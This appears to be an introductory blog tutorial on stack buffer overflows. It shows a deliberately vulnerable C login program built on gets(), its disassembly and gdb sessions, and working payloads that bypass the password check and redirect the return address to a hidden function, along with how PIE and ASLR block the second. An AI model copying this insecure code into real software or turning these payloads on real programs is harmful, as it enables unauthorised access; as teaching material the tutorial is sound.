gemesa@home:~$

Shattering the stack (0)

When a program blindly copies data into a buffer without checking its size, it risks overrunning the buffer’s capacity. This vulnerability can lead to various exploits, the most critical being the execution of arbitrary code. Attackers often exploit buffer overflows to alter a program’s execution flow, allowing them to execute malicious code.

This post is an introduction to the world of buffer overflows. The source code can be found here.

vulnerable code

The following C code demonstrates a simple buffer overflow vulnerability due to the use of the unsafe gets() function:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gets() was removed from the C11 standard
char* gets(char* str);

int authenticate(void)
{
    char buff[10];
    char cmd[10];
    int auth = 0;

    puts("enter the password:");
    gets(buff);
    
    if(strcmp(buff, "12345"))
    {
        puts("wrong password");
    }
    else
    {
        puts("correct password");
        auth = 1;

    }
    
    if(auth)
    {
        puts("authenticated");
        puts("your files:");
        strcpy(cmd, "ls");
        system(cmd);
    }

    return 0;
}

int main(void)
{
    authenticate();
    return 0;
}

void secret(void)
{
    puts("secret found!");
}

exploit 0

Let’s compile the binary and inspect the generated assembly code:

$ gcc lab/bof-server.c -g -o build/bof-server
...
$ objdump -d build/bof-server
...
0000000000401156 <authenticate>:
  401156:	55                   	push   %rbp
  401157:	48 89 e5             	mov    %rsp,%rbp
  40115a:	48 83 ec 20          	sub    $0x20,%rsp
  40115e:	c7 45 fc 00 00 00 00 	movl   $0x0,-0x4(%rbp)
  401165:	bf 10 20 40 00       	mov    $0x402010,%edi
  40116a:	e8 c1 fe ff ff       	call   401030 <puts@plt>
  40116f:	48 8d 45 f2          	lea    -0xe(%rbp),%rax
  401173:	48 89 c7             	mov    %rax,%rdi
  401176:	e8 e5 fe ff ff       	call   401060 <gets@plt>
  40117b:	48 8d 45 f2          	lea    -0xe(%rbp),%rax
  40117f:	be 24 20 40 00       	mov    $0x402024,%esi
  401184:	48 89 c7             	mov    %rax,%rdi
  401187:	e8 c4 fe ff ff       	call   401050 <strcmp@plt>
  40118c:	85 c0                	test   %eax,%eax
  40118e:	74 0c                	je     40119c <authenticate+0x46>
  401190:	bf 2a 20 40 00       	mov    $0x40202a,%edi
  401195:	e8 96 fe ff ff       	call   401030 <puts@plt>
  40119a:	eb 11                	jmp    4011ad <authenticate+0x57>
  40119c:	bf 39 20 40 00       	mov    $0x402039,%edi
  4011a1:	e8 8a fe ff ff       	call   401030 <puts@plt>
  4011a6:	c7 45 fc 01 00 00 00 	movl   $0x1,-0x4(%rbp)
  4011ad:	83 7d fc 00          	cmpl   $0x0,-0x4(%rbp)
  4011b1:	74 2d                	je     4011e0 <authenticate+0x8a>
  4011b3:	bf 4a 20 40 00       	mov    $0x40204a,%edi
  4011b8:	e8 73 fe ff ff       	call   401030 <puts@plt>
  4011bd:	bf 58 20 40 00       	mov    $0x402058,%edi
  4011c2:	e8 69 fe ff ff       	call   401030 <puts@plt>
  4011c7:	48 8d 45 e8          	lea    -0x18(%rbp),%rax
  4011cb:	66 c7 00 6c 73       	movw   $0x736c,(%rax)
  4011d0:	c6 40 02 00          	movb   $0x0,0x2(%rax)
  4011d4:	48 8d 45 e8          	lea    -0x18(%rbp),%rax
  4011d8:	48 89 c7             	mov    %rax,%rdi
  4011db:	e8 60 fe ff ff       	call   401040 <system@plt>
  4011e0:	b8 00 00 00 00       	mov    $0x0,%eax
  4011e5:	c9                   	leave
  4011e6:	c3                   	ret

00000000004011e7 <main>:
  4011e7:	55                   	push   %rbp
  4011e8:	48 89 e5             	mov    %rsp,%rbp
  4011eb:	e8 66 ff ff ff       	call   401156 <authenticate>
  4011f0:	b8 00 00 00 00       	mov    $0x0,%eax
  4011f5:	5d                   	pop    %rbp
  4011f6:	c3                   	ret
...

We can see that variable auth can be found right after buffer in the memory layout:

...
  40115e:	c7 45 fc 00 00 00 00 	movl   $0x0,-0x4(%rbp) # auth
...
  40116f:	48 8d 45 f2          	lea    -0xe(%rbp),%rax # buffer
...

This is the first vulnerability we can exploit. We know that buffer is 10 characters (bytes) long so if we provide more than that we will overwrite auth.

No overflow (9 characters + NULL terminator which is automatically appended by gets()):

$ echo "012345678" | ./build/bof-server
enter the password:
wrong password

Overflow (10 character + NULL terminator):

$ echo "0123456789" | ./build/bof-server
enter the password:
wrong password

Note that in the case above we are already overwriting auth but with a NULL terminator (which is 0 in memory) so if(auth) still fails.

Overflow (11 character + NULL terminator):

$ echo "0123456789a" | ./build/bof-server
enter the password:
wrong password
authenticated
your files:
arsenal  build	Cargo.lock  Cargo.toml	lab  LICENSE  Makefile	README.md  target

Now we managed to overwrite auth with a non-zero value so we get authenticated even though we provide a wrong password.

We can verify this using gdb:

$ gdb build/bof-server
GNU gdb (GDB) Fedora Linux 13.2-6.fc38
...
(gdb) b main
Breakpoint 1 at 0x4011eb: file lab/bof-server.c, line 41.
(gdb) r
Starting program: /home/gemesa/git-repos/shadow-shell/build/bof-server
...
Breakpoint 1, main () at lab/bof-server.c:41
41	    authenticate();
Missing separate debuginfos, use: dnf debuginfo-install glibc-2.37-14.fc38.x86_64
(gdb) disas
Dump of assembler code for function main:
   0x00000000004011e7 <+0>:	push   %rbp
   0x00000000004011e8 <+1>:	mov    %rsp,%rbp
=> 0x00000000004011eb <+4>:	call   0x401156 <authenticate>
   0x00000000004011f0 <+9>:	mov    $0x0,%eax
   0x00000000004011f5 <+14>:	pop    %rbp
   0x00000000004011f6 <+15>:	ret
End of assembler dump.
(gdb) si
authenticate () at lab/bof-server.c:9
9	{
(gdb) disas
Dump of assembler code for function authenticate:
=> 0x0000000000401156 <+0>:	push   %rbp
   0x0000000000401157 <+1>:	mov    %rsp,%rbp
   0x000000000040115a <+4>:	sub    $0x20,%rsp
   0x000000000040115e <+8>:	movl   $0x0,-0x4(%rbp)
   0x0000000000401165 <+15>:	mov    $0x402010,%edi
   0x000000000040116a <+20>:	call   0x401030 <puts@plt>
   0x000000000040116f <+25>:	lea    -0xe(%rbp),%rax
   0x0000000000401173 <+29>:	mov    %rax,%rdi
   0x0000000000401176 <+32>:	call   0x401060 <gets@plt>
...
End of assembler dump.
(gdb) b *0x0000000000401176
Breakpoint 2 at 0x401176: file lab/bof-server.c, line 15.
(gdb) c
Continuing.
enter the password:

Breakpoint 2, 0x0000000000401176 in authenticate () at lab/bof-server.c:15
15	    gets(buff);
(gdb) i loc
buff = "\000\000\000\000\000\000\260\\\376", <incomplete sequence \367>
cmd = "\000\000\000\000\000\000\000\000\000"
auth = 0
(gdb) n
0123456789a
17	    if(strcmp(buff, "12345"))
(gdb) i loc
buff = "0123456789"
cmd = "\000\000\000\000\000\000\000\000\000"
auth = 97
(gdb) c
Continuing.
wrong password
authenticated
your files:
[Detaching after vfork from child process 31163]
arsenal  build	Cargo.lock  Cargo.toml	lab  LICENSE  Makefile	README.md  target
[Inferior 1 (process 30821) exited normally]
(gdb) quit

exploit 1

If we check the generated assembly code we can see there is function secret() which is never called but still present in the binary:

$ objdump -d build/bof-server
...
00000000004011f7 <secret>:
  4011f7:	55                   	push   %rbp
  4011f8:	48 89 e5             	mov    %rsp,%rbp
  4011fb:	bf 64 20 40 00       	mov    $0x402064,%edi
  401200:	e8 2b fe ff ff       	call   401030 <puts@plt>
  401205:	90                   	nop
  401206:	5d                   	pop    %rbp
  401207:	c3                   	ret
...

If the code is compiled without -fPIE -pie (position independent code), then we can overwrite the return address pushed onto the stack (when authenticate() is called) to point to the address of secret(). If -fPIE -pie is passed to the compiler ASLR will randomize the addresses each time the binary is executed.

Now we just need to figure out where the return address is exactly on the stack:

...
00000000004011e7 <main>:
...
  4011eb:	e8 66 ff ff ff       	call   401156 <authenticate> # return address is pushed (8 bytes)
...
0000000000401156 <authenticate>:
  401156:	55                   	push   %rbp                  # rbp is pushed (8 bytes)
...
  40115e:	c7 45 fc 00 00 00 00 	movl   $0x0,-0x4(%rbp)       # auth (4 bytes)
...
  40116f:	48 8d 45 f2          	lea    -0xe(%rbp),%rax       # buffer (10 bytes)
...

We can see that we need to specify 22 bytes (10 + 4 + 8) in the first part of our payload before the address of secret():

$ echo "aaaaaaaaaabbbbcccccccc\xf7\x11\x40\x00\x00\x00\x00\x00" | ./build/bof-server
enter the password:
wrong password
authenticated
your files:
arsenal  build	Cargo.lock  Cargo.toml	lab  LICENSE  Makefile	README.md  target
secret found!
zsh: done                              echo "aaaaaaaaaabbbbcccccccc\xf7\x11\x40\x00\x00\x00\x00\x00" | 
zsh: segmentation fault (core dumped)  ./build/bof-server

If -fPIE -pie is used during compilation and ASLR is activated, this vulnerability can not be easily exploited as you would need to guess the address (which will be randomized each time the binary is executed):

$ gcc lab/bof-server.c -g -o build/bof-server -fPIE -pie
...
$ objdump -d build/bof-server
...
0000000000001228 <secret>:
...
$ ./build/bof-server
enter the password:

Open a new terminal:

$ cat /proc/sys/kernel/randomize_va_space
2
$ # 2 means activated
$ ps a | grep bof-server
  34893 pts/1    S+     0:00 ./build/bof-server
...
$ cat /proc/34893/maps  
5642eefa0000-5642eefa1000 r--p 00000000 00:25 11545801                   /home/gemesa/git-repos/shadow-shell/build/bof-server
5642eefa1000-5642eefa2000 r-xp 00001000 00:25 11545801                   /home/gemesa/git-repos/shadow-shell/build/bof-server
5642eefa2000-5642eefa3000 r--p 00002000 00:25 11545801                   /home/gemesa/git-repos/shadow-shell/build/bof-server
5642eefa3000-5642eefa4000 r--p 00002000 00:25 11545801                   /home/gemesa/git-repos/shadow-shell/build/bof-server
5642eefa4000-5642eefa5000 rw-p 00003000 00:25 11545801                   /home/gemesa/git-repos/shadow-shell/build/bof-server
...

Without -fPIE -pie the addresses are the same every time:

$ ps a | grep bof-server                 
  35154 pts/1    S+     0:00 ./build/bof-server
...                                                                                                                  
$ cat /proc/35154/maps                   
00400000-00401000 r--p 00000000 00:25 11545797                           /home/gemesa/git-repos/shadow-shell/build/bof-server
00401000-00402000 r-xp 00001000 00:25 11545797                           /home/gemesa/git-repos/shadow-shell/build/bof-server
00402000-00403000 r--p 00002000 00:25 11545797                           /home/gemesa/git-repos/shadow-shell/build/bof-server
00403000-00404000 r--p 00002000 00:25 11545797                           /home/gemesa/git-repos/shadow-shell/build/bof-server
00404000-00405000 rw-p 00003000 00:25 11545797                           /home/gemesa/git-repos/shadow-shell/build/bof-server
...

References: